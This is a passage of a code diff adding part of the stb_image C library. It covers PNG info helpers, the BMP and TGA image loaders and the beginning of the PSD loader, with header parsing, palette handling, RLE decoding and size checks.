+   return stbi__do_png(&p, x,y,comp,req_comp, ri);
+}
+
+static int stbi__png_test(stbi__context *s)
+{
+   int r;
+   r = stbi__check_png_header(s);
+   stbi__rewind(s);
+   return r;
+}
+
+static int stbi__png_info_raw(stbi__png *p, int *x, int *y, int *comp)
+{
+   if (!stbi__parse_png_file(p, STBI__SCAN_header, 0)) {
+      stbi__rewind( p->s );
+      return 0;
+   }
+   if (x) *x = p->s->img_x;
+   if (y) *y = p->s->img_y;
+   if (comp) *comp = p->s->img_n;
+   return 1;
+}
+
+static int stbi__png_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   stbi__png p;
+   p.s = s;
+   return stbi__png_info_raw(&p, x, y, comp);
+}
+
+static int stbi__png_is16(stbi__context *s)
+{
+   stbi__png p;
+   p.s = s;
+   if (!stbi__png_info_raw(&p, NULL, NULL, NULL))
+	   return 0;
+   if (p.depth != 16) {
+      stbi__rewind(p.s);
+      return 0;
+   }
+   return 1;
+}
+#endif
+
+// Microsoft/Windows BMP image
+
+#ifndef STBI_NO_BMP
+static int stbi__bmp_test_raw(stbi__context *s)
+{
+   int r;
+   int sz;
+   if (stbi__get8(s) != 'B') return 0;
+   if (stbi__get8(s) != 'M') return 0;
+   stbi__get32le(s); // discard filesize
+   stbi__get16le(s); // discard reserved
+   stbi__get16le(s); // discard reserved
+   stbi__get32le(s); // discard data offset
+   sz = stbi__get32le(s);
+   r = (sz == 12 || sz == 40 || sz == 56 || sz == 108 || sz == 124);
+   return r;
+}
+
+static int stbi__bmp_test(stbi__context *s)
+{
+   int r = stbi__bmp_test_raw(s);
+   stbi__rewind(s);
+   return r;
+}
+
+
+// returns 0..31 for the highest set bit
+static int stbi__high_bit(unsigned int z)
+{
+   int n=0;
+   if (z == 0) return -1;
+   if (z >= 0x10000) { n += 16; z >>= 16; }
+   if (z >= 0x00100) { n +=  8; z >>=  8; }
+   if (z >= 0x00010) { n +=  4; z >>=  4; }
+   if (z >= 0x00004) { n +=  2; z >>=  2; }
+   if (z >= 0x00002) { n +=  1;/* >>=  1;*/ }
+   return n;
+}
+
+static int stbi__bitcount(unsigned int a)
+{
+   a = (a & 0x55555555) + ((a >>  1) & 0x55555555); // max 2
+   a = (a & 0x33333333) + ((a >>  2) & 0x33333333); // max 4
+   a = (a + (a >> 4)) & 0x0f0f0f0f; // max 8 per 4, now 8 bits
+   a = (a + (a >> 8)); // max 16 per 8 bits
+   a = (a + (a >> 16)); // max 32 per 8 bits
+   return a & 0xff;
+}
+
+// extract an arbitrarily-aligned N-bit value (N=bits)
+// from v, and then make it 8-bits long and fractionally
+// extend it to full full range.
+static int stbi__shiftsigned(unsigned int v, int shift, int bits)
+{
+   static unsigned int mul_table[9] = {
+      0,
+      0xff/*0b11111111*/, 0x55/*0b01010101*/, 0x49/*0b01001001*/, 0x11/*0b00010001*/,
+      0x21/*0b00100001*/, 0x41/*0b01000001*/, 0x81/*0b10000001*/, 0x01/*0b00000001*/,
+   };
+   static unsigned int shift_table[9] = {
+      0, 0,0,1,0,2,4,6,0,
+   };
+   if (shift < 0)
+      v <<= -shift;
+   else
+      v >>= shift;
+   STBI_ASSERT(v < 256);
+   v >>= (8-bits);
+   STBI_ASSERT(bits >= 0 && bits <= 8);
+   return (int) ((unsigned) v * mul_table[bits]) >> shift_table[bits];
+}
+
+typedef struct
+{
+   int bpp, offset, hsz;
+   unsigned int mr,mg,mb,ma, all_a;
+   int extra_read;
+} stbi__bmp_data;
+
+static int stbi__bmp_set_mask_defaults(stbi__bmp_data *info, int compress)
+{
+   // BI_BITFIELDS specifies masks explicitly, don't override
+   if (compress == 3)
+      return 1;
+
+   if (compress == 0) {
+      if (info->bpp == 16) {
+         info->mr = 31u << 10;
+         info->mg = 31u <<  5;
+         info->mb = 31u <<  0;
+      } else if (info->bpp == 32) {
+         info->mr = 0xffu << 16;
+         info->mg = 0xffu <<  8;
+         info->mb = 0xffu <<  0;
+         info->ma = 0xffu << 24;
+         info->all_a = 0; // if all_a is 0 at end, then we loaded alpha channel but it was all 0
+      } else {
+         // otherwise, use defaults, which is all-0
+         info->mr = info->mg = info->mb = info->ma = 0;
+      }
+      return 1;
+   }
+   return 0; // error
+}
+
+static void *stbi__bmp_parse_header(stbi__context *s, stbi__bmp_data *info)
+{
+   int hsz;
+   if (stbi__get8(s) != 'B' || stbi__get8(s) != 'M') return stbi__errpuc("not BMP", "Corrupt BMP");
+   stbi__get32le(s); // discard filesize
+   stbi__get16le(s); // discard reserved
+   stbi__get16le(s); // discard reserved
+   info->offset = stbi__get32le(s);
+   info->hsz = hsz = stbi__get32le(s);
+   info->mr = info->mg = info->mb = info->ma = 0;
+   info->extra_read = 14;
+
+   if (info->offset < 0) return stbi__errpuc("bad BMP", "bad BMP");
+
+   if (hsz != 12 && hsz != 40 && hsz != 56 && hsz != 108 && hsz != 124) return stbi__errpuc("unknown BMP", "BMP type not supported: unknown");
+   if (hsz == 12) {
+      s->img_x = stbi__get16le(s);
+      s->img_y = stbi__get16le(s);
+   } else {
+      s->img_x = stbi__get32le(s);
+      s->img_y = stbi__get32le(s);
+   }
+   if (stbi__get16le(s) != 1) return stbi__errpuc("bad BMP", "bad BMP");
+   info->bpp = stbi__get16le(s);
+   if (hsz != 12) {
+      int compress = stbi__get32le(s);
+      if (compress == 1 || compress == 2) return stbi__errpuc("BMP RLE", "BMP type not supported: RLE");
+      if (compress >= 4) return stbi__errpuc("BMP JPEG/PNG", "BMP type not supported: unsupported compression"); // this includes PNG/JPEG modes
+      if (compress == 3 && info->bpp != 16 && info->bpp != 32) return stbi__errpuc("bad BMP", "bad BMP"); // bitfields requires 16 or 32 bits/pixel
+      stbi__get32le(s); // discard sizeof
+      stbi__get32le(s); // discard hres
+      stbi__get32le(s); // discard vres
+      stbi__get32le(s); // discard colorsused
+      stbi__get32le(s); // discard max important
+      if (hsz == 40 || hsz == 56) {
+         if (hsz == 56) {
+            stbi__get32le(s);
+            stbi__get32le(s);
+            stbi__get32le(s);
+            stbi__get32le(s);
+         }
+         if (info->bpp == 16 || info->bpp == 32) {
+            if (compress == 0) {
+               stbi__bmp_set_mask_defaults(info, compress);
+            } else if (compress == 3) {
+               info->mr = stbi__get32le(s);
+               info->mg = stbi__get32le(s);
+               info->mb = stbi__get32le(s);
+               info->extra_read += 12;
+               // not documented, but generated by photoshop and handled by mspaint
+               if (info->mr == info->mg && info->mg == info->mb) {
+                  // ?!?!?
+                  return stbi__errpuc("bad BMP", "bad BMP");
+               }
+            } else
+               return stbi__errpuc("bad BMP", "bad BMP");
+         }
+      } else {
+         // V4/V5 header
+         int i;
+         if (hsz != 108 && hsz != 124)
+            return stbi__errpuc("bad BMP", "bad BMP");
+         info->mr = stbi__get32le(s);
+         info->mg = stbi__get32le(s);
+         info->mb = stbi__get32le(s);
+         info->ma = stbi__get32le(s);
+         if (compress != 3) // override mr/mg/mb unless in BI_BITFIELDS mode, as per docs
+            stbi__bmp_set_mask_defaults(info, compress);
+         stbi__get32le(s); // discard color space
+         for (i=0; i < 12; ++i)
+            stbi__get32le(s); // discard color space parameters
+         if (hsz == 124) {
+            stbi__get32le(s); // discard rendering intent
+            stbi__get32le(s); // discard offset of profile data
+            stbi__get32le(s); // discard size of profile data
+            stbi__get32le(s); // discard reserved
+         }
+      }
+   }
+   return (void *) 1;
+}
+
+
+static void *stbi__bmp_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri)
+{
+   stbi_uc *out;
+   unsigned int mr=0,mg=0,mb=0,ma=0, all_a;
+   stbi_uc pal[256][4];
+   int psize=0,i,j,width;
+   int flip_vertically, pad, target;
+   stbi__bmp_data info;
+   STBI_NOTUSED(ri);
+
+   info.all_a = 255;
+   if (stbi__bmp_parse_header(s, &info) == NULL)
+      return NULL; // error code already set
+
+   flip_vertically = ((int) s->img_y) > 0;
+   s->img_y = abs((int) s->img_y);
+
+   if (s->img_y > STBI_MAX_DIMENSIONS) return stbi__errpuc("too large","Very large image (corrupt?)");
+   if (s->img_x > STBI_MAX_DIMENSIONS) return stbi__errpuc("too large","Very large image (corrupt?)");
+
+   mr = info.mr;
+   mg = info.mg;
+   mb = info.mb;
+   ma = info.ma;
+   all_a = info.all_a;
+
+   if (info.hsz == 12) {
+      if (info.bpp < 24)
+         psize = (info.offset - info.extra_read - 24) / 3;
+   } else {
+      if (info.bpp < 16)
+         psize = (info.offset - info.extra_read - info.hsz) >> 2;
+   }
+   if (psize == 0) {
+      // accept some number of extra bytes after the header, but if the offset points either to before
+      // the header ends or implies a large amount of extra data, reject the file as malformed
+      int bytes_read_so_far = s->callback_already_read + (int)(s->img_buffer - s->img_buffer_original);
+      int header_limit = 1024; // max we actually read is below 256 bytes currently.
+      int extra_data_limit = 256*4; // what ordinarily goes here is a palette; 256 entries*4 bytes is its max size.
+      if (bytes_read_so_far <= 0 || bytes_read_so_far > header_limit) {
+         return stbi__errpuc("bad header", "Corrupt BMP");
+      }
+      // we established that bytes_read_so_far is positive and sensible.
+      // the first half of this test rejects offsets that are either too small positives, or
+      // negative, and guarantees that info.offset >= bytes_read_so_far > 0. this in turn
+      // ensures the number computed in the second half of the test can't overflow.
+      if (info.offset < bytes_read_so_far || info.offset - bytes_read_so_far > extra_data_limit) {
+         return stbi__errpuc("bad offset", "Corrupt BMP");
+      } else {
+         stbi__skip(s, info.offset - bytes_read_so_far);
+      }
+   }
+
+   if (info.bpp == 24 && ma == 0xff000000)
+      s->img_n = 3;
+   else
+      s->img_n = ma ? 4 : 3;
+   if (req_comp && req_comp >= 3) // we can directly decode 3 or 4
+      target = req_comp;
+   else
+      target = s->img_n; // if they want monochrome, we'll post-convert
+
+   // sanity-check size
+   if (!stbi__mad3sizes_valid(target, s->img_x, s->img_y, 0))
+      return stbi__errpuc("too large", "Corrupt BMP");
+
+   out = (stbi_uc *) stbi__malloc_mad3(target, s->img_x, s->img_y, 0);
+   if (!out) return stbi__errpuc("outofmem", "Out of memory");
+   if (info.bpp < 16) {
+      int z=0;
+      if (psize == 0 || psize > 256) { STBI_FREE(out); return stbi__errpuc("invalid", "Corrupt BMP"); }
+      for (i=0; i < psize; ++i) {
+         pal[i][2] = stbi__get8(s);
+         pal[i][1] = stbi__get8(s);
+         pal[i][0] = stbi__get8(s);
+         if (info.hsz != 12) stbi__get8(s);
+         pal[i][3] = 255;
+      }
+      stbi__skip(s, info.offset - info.extra_read - info.hsz - psize * (info.hsz == 12 ? 3 : 4));
+      if (info.bpp == 1) width = (s->img_x + 7) >> 3;
+      else if (info.bpp == 4) width = (s->img_x + 1) >> 1;
+      else if (info.bpp == 8) width = s->img_x;
+      else { STBI_FREE(out); return stbi__errpuc("bad bpp", "Corrupt BMP"); }
+      pad = (-width)&3;
+      if (info.bpp == 1) {
+         for (j=0; j < (int) s->img_y; ++j) {
+            int bit_offset = 7, v = stbi__get8(s);
+            for (i=0; i < (int) s->img_x; ++i) {
+               int color = (v>>bit_offset)&0x1;
+               out[z++] = pal[color][0];
+               out[z++] = pal[color][1];
+               out[z++] = pal[color][2];
+               if (target == 4) out[z++] = 255;
+               if (i+1 == (int) s->img_x) break;
+               if((--bit_offset) < 0) {
+                  bit_offset = 7;
+                  v = stbi__get8(s);
+               }
+            }
+            stbi__skip(s, pad);
+         }
+      } else {
+         for (j=0; j < (int) s->img_y; ++j) {
+            for (i=0; i < (int) s->img_x; i += 2) {
+               int v=stbi__get8(s),v2=0;
+               if (info.bpp == 4) {
+                  v2 = v & 15;
+                  v >>= 4;
+               }
+               out[z++] = pal[v][0];
+               out[z++] = pal[v][1];
+               out[z++] = pal[v][2];
+               if (target == 4) out[z++] = 255;
+               if (i+1 == (int) s->img_x) break;
+               v = (info.bpp == 8) ? stbi__get8(s) : v2;
+               out[z++] = pal[v][0];
+               out[z++] = pal[v][1];
+               out[z++] = pal[v][2];
+               if (target == 4) out[z++] = 255;
+            }
+            stbi__skip(s, pad);
+         }
+      }
+   } else {
+      int rshift=0,gshift=0,bshift=0,ashift=0,rcount=0,gcount=0,bcount=0,acount=0;
+      int z = 0;
+      int easy=0;
+      stbi__skip(s, info.offset - info.extra_read - info.hsz);
+      if (info.bpp == 24) width = 3 * s->img_x;
+      else if (info.bpp == 16) width = 2*s->img_x;
+      else /* bpp = 32 and pad = 0 */ width=0;
+      pad = (-width) & 3;
+      if (info.bpp == 24) {
+         easy = 1;
+      } else if (info.bpp == 32) {
+         if (mb == 0xff && mg == 0xff00 && mr == 0x00ff0000 && ma == 0xff000000)
+            easy = 2;
+      }
+      if (!easy) {
+         if (!mr || !mg || !mb) { STBI_FREE(out); return stbi__errpuc("bad masks", "Corrupt BMP"); }
+         // right shift amt to put high bit in position #7
+         rshift = stbi__high_bit(mr)-7; rcount = stbi__bitcount(mr);
+         gshift = stbi__high_bit(mg)-7; gcount = stbi__bitcount(mg);
+         bshift = stbi__high_bit(mb)-7; bcount = stbi__bitcount(mb);
+         ashift = stbi__high_bit(ma)-7; acount = stbi__bitcount(ma);
+         if (rcount > 8 || gcount > 8 || bcount > 8 || acount > 8) { STBI_FREE(out); return stbi__errpuc("bad masks", "Corrupt BMP"); }
+      }
+      for (j=0; j < (int) s->img_y; ++j) {
+         if (easy) {
+            for (i=0; i < (int) s->img_x; ++i) {
+               unsigned char a;
+               out[z+2] = stbi__get8(s);
+               out[z+1] = stbi__get8(s);
+               out[z+0] = stbi__get8(s);
+               z += 3;
+               a = (easy == 2 ? stbi__get8(s) : 255);
+               all_a |= a;
+               if (target == 4) out[z++] = a;
+            }
+         } else {
+            int bpp = info.bpp;
+            for (i=0; i < (int) s->img_x; ++i) {
+               stbi__uint32 v = (bpp == 16 ? (stbi__uint32) stbi__get16le(s) : stbi__get32le(s));
+               unsigned int a;
+               out[z++] = STBI__BYTECAST(stbi__shiftsigned(v & mr, rshift, rcount));
+               out[z++] = STBI__BYTECAST(stbi__shiftsigned(v & mg, gshift, gcount));
+               out[z++] = STBI__BYTECAST(stbi__shiftsigned(v & mb, bshift, bcount));
+               a = (ma ? stbi__shiftsigned(v & ma, ashift, acount) : 255);
+               all_a |= a;
+               if (target == 4) out[z++] = STBI__BYTECAST(a);
+            }
+         }
+         stbi__skip(s, pad);
+      }
+   }
+
+   // if alpha channel is all 0s, replace with all 255s
+   if (target == 4 && all_a == 0)
+      for (i=4*s->img_x*s->img_y-1; i >= 0; i -= 4)
+         out[i] = 255;
+
+   if (flip_vertically) {
+      stbi_uc t;
+      for (j=0; j < (int) s->img_y>>1; ++j) {
+         stbi_uc *p1 = out +      j     *s->img_x*target;
+         stbi_uc *p2 = out + (s->img_y-1-j)*s->img_x*target;
+         for (i=0; i < (int) s->img_x*target; ++i) {
+            t = p1[i]; p1[i] = p2[i]; p2[i] = t;
+         }
+      }
+   }
+
+   if (req_comp && req_comp != target) {
+      out = stbi__convert_format(out, target, req_comp, s->img_x, s->img_y);
+      if (out == NULL) return out; // stbi__convert_format frees input on failure
+   }
+
+   *x = s->img_x;
+   *y = s->img_y;
+   if (comp) *comp = s->img_n;
+   return out;
+}
+#endif
+
+// Targa Truevision - TGA
+// by Jonathan Dummer
+#ifndef STBI_NO_TGA
+// returns STBI_rgb or whatever, 0 on error
+static int stbi__tga_get_comp(int bits_per_pixel, int is_grey, int* is_rgb16)
+{
+   // only RGB or RGBA (incl. 16bit) or grey allowed
+   if (is_rgb16) *is_rgb16 = 0;
+   switch(bits_per_pixel) {
+      case 8:  return STBI_grey;
+      case 16: if(is_grey) return STBI_grey_alpha;
+               // fallthrough
+      case 15: if(is_rgb16) *is_rgb16 = 1;
+               return STBI_rgb;
+      case 24: // fallthrough
+      case 32: return bits_per_pixel/8;
+      default: return 0;
+   }
+}
+
+static int stbi__tga_info(stbi__context *s, int *x, int *y, int *comp)
+{
+    int tga_w, tga_h, tga_comp, tga_image_type, tga_bits_per_pixel, tga_colormap_bpp;
+    int sz, tga_colormap_type;
+    stbi__get8(s);                   // discard Offset
+    tga_colormap_type = stbi__get8(s); // colormap type
+    if( tga_colormap_type > 1 ) {
+        stbi__rewind(s);
+        return 0;      // only RGB or indexed allowed
+    }
+    tga_image_type = stbi__get8(s); // image type
+    if ( tga_colormap_type == 1 ) { // colormapped (paletted) image
+        if (tga_image_type != 1 && tga_image_type != 9) {
+            stbi__rewind(s);
+            return 0;
+        }
+        stbi__skip(s,4);       // skip index of first colormap entry and number of entries
+        sz = stbi__get8(s);    //   check bits per palette color entry
+        if ( (sz != 8) && (sz != 15) && (sz != 16) && (sz != 24) && (sz != 32) ) {
+            stbi__rewind(s);
+            return 0;
+        }
+        stbi__skip(s,4);       // skip image x and y origin
+        tga_colormap_bpp = sz;
+    } else { // "normal" image w/o colormap - only RGB or grey allowed, +/- RLE
+        if ( (tga_image_type != 2) && (tga_image_type != 3) && (tga_image_type != 10) && (tga_image_type != 11) ) {
+            stbi__rewind(s);
+            return 0; // only RGB or grey allowed, +/- RLE
+        }
+        stbi__skip(s,9); // skip colormap specification and image x/y origin
+        tga_colormap_bpp = 0;
+    }
+    tga_w = stbi__get16le(s);
+    if( tga_w < 1 ) {
+        stbi__rewind(s);
+        return 0;   // test width
+    }
+    tga_h = stbi__get16le(s);
+    if( tga_h < 1 ) {
+        stbi__rewind(s);
+        return 0;   // test height
+    }
+    tga_bits_per_pixel = stbi__get8(s); // bits per pixel
+    stbi__get8(s); // ignore alpha bits
+    if (tga_colormap_bpp != 0) {
+        if((tga_bits_per_pixel != 8) && (tga_bits_per_pixel != 16)) {
+            // when using a colormap, tga_bits_per_pixel is the size of the indexes
+            // I don't think anything but 8 or 16bit indexes makes sense
+            stbi__rewind(s);
+            return 0;
+        }
+        tga_comp = stbi__tga_get_comp(tga_colormap_bpp, 0, NULL);
+    } else {
+        tga_comp = stbi__tga_get_comp(tga_bits_per_pixel, (tga_image_type == 3) || (tga_image_type == 11), NULL);
+    }
+    if(!tga_comp) {
+      stbi__rewind(s);
+      return 0;
+    }
+    if (x) *x = tga_w;
+    if (y) *y = tga_h;
+    if (comp) *comp = tga_comp;
+    return 1;                   // seems to have passed everything
+}
+
+static int stbi__tga_test(stbi__context *s)
+{
+   int res = 0;
+   int sz, tga_color_type;
+   stbi__get8(s);      //   discard Offset
+   tga_color_type = stbi__get8(s);   //   color type
+   if ( tga_color_type > 1 ) goto errorEnd;   //   only RGB or indexed allowed
+   sz = stbi__get8(s);   //   image type
+   if ( tga_color_type == 1 ) { // colormapped (paletted) image
+      if (sz != 1 && sz != 9) goto errorEnd; // colortype 1 demands image type 1 or 9
+      stbi__skip(s,4);       // skip index of first colormap entry and number of entries
+      sz = stbi__get8(s);    //   check bits per palette color entry
+      if ( (sz != 8) && (sz != 15) && (sz != 16) && (sz != 24) && (sz != 32) ) goto errorEnd;
+      stbi__skip(s,4);       // skip image x and y origin
+   } else { // "normal" image w/o colormap
+      if ( (sz != 2) && (sz != 3) && (sz != 10) && (sz != 11) ) goto errorEnd; // only RGB or grey allowed, +/- RLE
+      stbi__skip(s,9); // skip colormap specification and image x/y origin
+   }
+   if ( stbi__get16le(s) < 1 ) goto errorEnd;      //   test width
+   if ( stbi__get16le(s) < 1 ) goto errorEnd;      //   test height
+   sz = stbi__get8(s);   //   bits per pixel
+   if ( (tga_color_type == 1) && (sz != 8) && (sz != 16) ) goto errorEnd; // for colormapped images, bpp is size of an index
+   if ( (sz != 8) && (sz != 15) && (sz != 16) && (sz != 24) && (sz != 32) ) goto errorEnd;
+
+   res = 1; // if we got this far, everything's good and we can return 1 instead of 0
+
+errorEnd:
+   stbi__rewind(s);
+   return res;
+}
+
+// read 16bit value and convert to 24bit RGB
+static void stbi__tga_read_rgb16(stbi__context *s, stbi_uc* out)
+{
+   stbi__uint16 px = (stbi__uint16)stbi__get16le(s);
+   stbi__uint16 fiveBitMask = 31;
+   // we have 3 channels with 5bits each
+   int r = (px >> 10) & fiveBitMask;
+   int g = (px >> 5) & fiveBitMask;
+   int b = px & fiveBitMask;
+   // Note that this saves the data in RGB(A) order, so it doesn't need to be swapped later
+   out[0] = (stbi_uc)((r * 255)/31);
+   out[1] = (stbi_uc)((g * 255)/31);
+   out[2] = (stbi_uc)((b * 255)/31);
+
+   // some people claim that the most significant bit might be used for alpha
+   // (possibly if an alpha-bit is set in the "image descriptor byte")
+   // but that only made 16bit test images completely translucent..
+   // so let's treat all 15 and 16bit TGAs as RGB with no alpha.
+}
+
+static void *stbi__tga_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri)
+{
+   //   read in the TGA header stuff
+   int tga_offset = stbi__get8(s);
+   int tga_indexed = stbi__get8(s);
+   int tga_image_type = stbi__get8(s);
+   int tga_is_RLE = 0;
+   int tga_palette_start = stbi__get16le(s);
+   int tga_palette_len = stbi__get16le(s);
+   int tga_palette_bits = stbi__get8(s);
+   int tga_x_origin = stbi__get16le(s);
+   int tga_y_origin = stbi__get16le(s);
+   int tga_width = stbi__get16le(s);
+   int tga_height = stbi__get16le(s);
+   int tga_bits_per_pixel = stbi__get8(s);
+   int tga_comp, tga_rgb16=0;
+   int tga_inverted = stbi__get8(s);
+   // int tga_alpha_bits = tga_inverted & 15; // the 4 lowest bits - unused (useless?)
+   //   image data
+   unsigned char *tga_data;
+   unsigned char *tga_palette = NULL;
+   int i, j;
+   unsigned char raw_data[4] = {0};
+   int RLE_count = 0;
+   int RLE_repeating = 0;
+   int read_next_pixel = 1;
+   STBI_NOTUSED(ri);
+   STBI_NOTUSED(tga_x_origin); // @TODO
+   STBI_NOTUSED(tga_y_origin); // @TODO
+
+   if (tga_height > STBI_MAX_DIMENSIONS) return stbi__errpuc("too large","Very large image (corrupt?)");
+   if (tga_width > STBI_MAX_DIMENSIONS) return stbi__errpuc("too large","Very large image (corrupt?)");
+
+   //   do a tiny bit of precessing
+   if ( tga_image_type >= 8 )
+   {
+      tga_image_type -= 8;
+      tga_is_RLE = 1;
+   }
+   tga_inverted = 1 - ((tga_inverted >> 5) & 1);
+
+   //   If I'm paletted, then I'll use the number of bits from the palette
+   if ( tga_indexed ) tga_comp = stbi__tga_get_comp(tga_palette_bits, 0, &tga_rgb16);
+   else tga_comp = stbi__tga_get_comp(tga_bits_per_pixel, (tga_image_type == 3), &tga_rgb16);
+
+   if(!tga_comp) // shouldn't really happen, stbi__tga_test() should have ensured basic consistency
+      return stbi__errpuc("bad format", "Can't find out TGA pixelformat");
+
+   //   tga info
+   *x = tga_width;
+   *y = tga_height;
+   if (comp) *comp = tga_comp;
+
+   if (!stbi__mad3sizes_valid(tga_width, tga_height, tga_comp, 0))
+      return stbi__errpuc("too large", "Corrupt TGA");
+
+   tga_data = (unsigned char*)stbi__malloc_mad3(tga_width, tga_height, tga_comp, 0);
+   if (!tga_data) return stbi__errpuc("outofmem", "Out of memory");
+
+   // skip to the data's starting position (offset usually = 0)
+   stbi__skip(s, tga_offset );
+
+   if ( !tga_indexed && !tga_is_RLE && !tga_rgb16 ) {
+      for (i=0; i < tga_height; ++i) {
+         int row = tga_inverted ? tga_height -i - 1 : i;
+         stbi_uc *tga_row = tga_data + row*tga_width*tga_comp;
+         stbi__getn(s, tga_row, tga_width * tga_comp);
+      }
+   } else  {
+      //   do I need to load a palette?
+      if ( tga_indexed)
+      {
+         if (tga_palette_len == 0) {  /* you have to have at least one entry! */
+            STBI_FREE(tga_data);
+            return stbi__errpuc("bad palette", "Corrupt TGA");
+         }
+
+         //   any data to skip? (offset usually = 0)
+         stbi__skip(s, tga_palette_start );
+         //   load the palette
+         tga_palette = (unsigned char*)stbi__malloc_mad2(tga_palette_len, tga_comp, 0);
+         if (!tga_palette) {
+            STBI_FREE(tga_data);
+            return stbi__errpuc("outofmem", "Out of memory");
+         }
+         if (tga_rgb16) {
+            stbi_uc *pal_entry = tga_palette;
+            STBI_ASSERT(tga_comp == STBI_rgb);
+            for (i=0; i < tga_palette_len; ++i) {
+               stbi__tga_read_rgb16(s, pal_entry);
+               pal_entry += tga_comp;
+            }
+         } else if (!stbi__getn(s, tga_palette, tga_palette_len * tga_comp)) {
+               STBI_FREE(tga_data);
+               STBI_FREE(tga_palette);
+               return stbi__errpuc("bad palette", "Corrupt TGA");
+         }
+      }
+      //   load the data
+      for (i=0; i < tga_width * tga_height; ++i)
+      {
+         //   if I'm in RLE mode, do I need to get a RLE stbi__pngchunk?
+         if ( tga_is_RLE )
+         {
+            if ( RLE_count == 0 )
+            {
+               //   yep, get the next byte as a RLE command
+               int RLE_cmd = stbi__get8(s);
+               RLE_count = 1 + (RLE_cmd & 127);
+               RLE_repeating = RLE_cmd >> 7;
+               read_next_pixel = 1;
+            } else if ( !RLE_repeating )
+            {
+               read_next_pixel = 1;
+            }
+         } else
+         {
+            read_next_pixel = 1;
+         }
+         //   OK, if I need to read a pixel, do it now
+         if ( read_next_pixel )
+         {
+            //   load however much data we did have
+            if ( tga_indexed )
+            {
+               // read in index, then perform the lookup
+               int pal_idx = (tga_bits_per_pixel == 8) ? stbi__get8(s) : stbi__get16le(s);
+               if ( pal_idx >= tga_palette_len ) {
+                  // invalid index
+                  pal_idx = 0;
+               }
+               pal_idx *= tga_comp;
+               for (j = 0; j < tga_comp; ++j) {
+                  raw_data[j] = tga_palette[pal_idx+j];
+               }
+            } else if(tga_rgb16) {
+               STBI_ASSERT(tga_comp == STBI_rgb);
+               stbi__tga_read_rgb16(s, raw_data);
+            } else {
+               //   read in the data raw
+               for (j = 0; j < tga_comp; ++j) {
+                  raw_data[j] = stbi__get8(s);
+               }
+            }
+            //   clear the reading flag for the next pixel
+            read_next_pixel = 0;
+         } // end of reading a pixel
+
+         // copy data
+         for (j = 0; j < tga_comp; ++j)
+           tga_data[i*tga_comp+j] = raw_data[j];
+
+         //   in case we're in RLE mode, keep counting down
+         --RLE_count;
+      }
+      //   do I need to invert the image?
+      if ( tga_inverted )
+      {
+         for (j = 0; j*2 < tga_height; ++j)
+         {
+            int index1 = j * tga_width * tga_comp;
+            int index2 = (tga_height - 1 - j) * tga_width * tga_comp;
+            for (i = tga_width * tga_comp; i > 0; --i)
+            {
+               unsigned char temp = tga_data[index1];
+               tga_data[index1] = tga_data[index2];
+               tga_data[index2] = temp;
+               ++index1;
+               ++index2;
+            }
+         }
+      }
+      //   clear my palette, if I had one
+      if ( tga_palette != NULL )
+      {
+         STBI_FREE( tga_palette );
+      }
+   }
+
+   // swap RGB - if the source data was RGB16, it already is in the right order
+   if (tga_comp >= 3 && !tga_rgb16)
+   {
+      unsigned char* tga_pixel = tga_data;
+      for (i=0; i < tga_width * tga_height; ++i)
+      {
+         unsigned char temp = tga_pixel[0];
+         tga_pixel[0] = tga_pixel[2];
+         tga_pixel[2] = temp;
+         tga_pixel += tga_comp;
+      }
+   }
+
+   // convert to target component count
+   if (req_comp && req_comp != tga_comp)
+      tga_data = stbi__convert_format(tga_data, tga_comp, req_comp, tga_width, tga_height);
+
+   //   the things I do to get rid of an error message, and yet keep
+   //   Microsoft's C compilers happy... [8^(
+   tga_palette_start = tga_palette_len = tga_palette_bits =
+         tga_x_origin = tga_y_origin = 0;
+   STBI_NOTUSED(tga_palette_start);
+   //   OK, done
+   return tga_data;
+}
+#endif
+
+// *************************************************************************************************
+// Photoshop PSD loader -- PD by Thatcher Ulrich, integration by Nicolas Schulz, tweaked by STB
+
+#ifndef STBI_NO_PSD
+static int stbi__psd_test(stbi__context *s)
+{
+   int r = (stbi__get32be(s) == 0x38425053);
+   stbi__rewind(s);
+   return r;
+}
+
+static int stbi__psd_decode_rle(stbi__context *s, stbi_uc *p, int pixelCount)
+{
+   int count, nleft, len;
+
+   count = 0;
+   while ((nleft = pixelCount - count) > 0) {
+      len = stbi__get8(s);
+      if (len == 128) {
+         // No-op.
+      } else if (len < 128) {
+         // Copy next len+1 bytes literally.
+         len++;
+         if (len > nleft) return 0; // corrupt data
+         count += len;
+         while (len) {
+            *p = stbi__get8(s);
+            p += 4;
+            len--;
+         }
+      } else if (len > 128) {
+         stbi_uc   val;
+         // Next -len+1 bytes in the dest are replicated from next source byte.
+         // (Interpret len as a negative 8-bit int.)
+         len = 257 - len;
+         if (len > nleft) return 0; // corrupt data
+         val = stbi__get8(s);
+         count += len;
+         while (len) {
+            *p = val;
+            p += 4;
+            len--;
+         }
+      }
+   }
+
+   return 1;
+}
+
+static void *stbi__psd_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri, int bpc)
+{
+   int pixelCount;
+   int channelCount, compression;
+   int channel, i;
+   int bitdepth;
+   int w,h;
+   stbi_uc *out;
+   STBI_NOTUSED(ri);
+
+   // Check identifier
+   if (stbi__get32be(s) != 0x38425053)   // "8BPS"
+      return stbi__errpuc("not PSD", "Corrupt PSD image");
+
+   // Check file type version.
+   if (stbi__get16be(s) != 1)
+      return stbi__errpuc("wrong version", "Unsupported version of PSD image");
+
+   // Skip 6 reserved bytes.
+   stbi__skip(s, 6 );
+
+   // Read the number of channels (R, G, B, A, etc).
+   channelCount = stbi__get16be(s);
+   if (channelCount < 0 || channelCount > 16)
+      return stbi__errpuc("wrong channel count", "Unsupported number of channels in PSD image");
+
+   // Read the rows and columns of the image.
+   h = stbi__get32be(s);
+   w = stbi__get32be(s);
+
+   if (h > STBI_MAX_DIMENSIONS) return stbi__errpuc("too large","Very large image (corrupt?)");
+   if (w > STBI_MAX_DIMENSIONS) return stbi__errpuc("too large","Very large image (corrupt?)");
+
+   // Make sure the depth is 8 bits.
+   bitdepth = stbi__get16be(s);
+   if (bitdepth != 8 && bitdepth != 16)
+      return stbi__errpuc("unsupported bit depth", "PSD bit depth is not 8 or 16 bit");
+
+   // Make sure the color mode is RGB.
+   // Valid options are:
+   //   0: Bitmap
+   //   1: Grayscale
+   //   2: Indexed color
+   //   3: RGB color
+   //   4: CMYK color
+   //   7: Multichannel
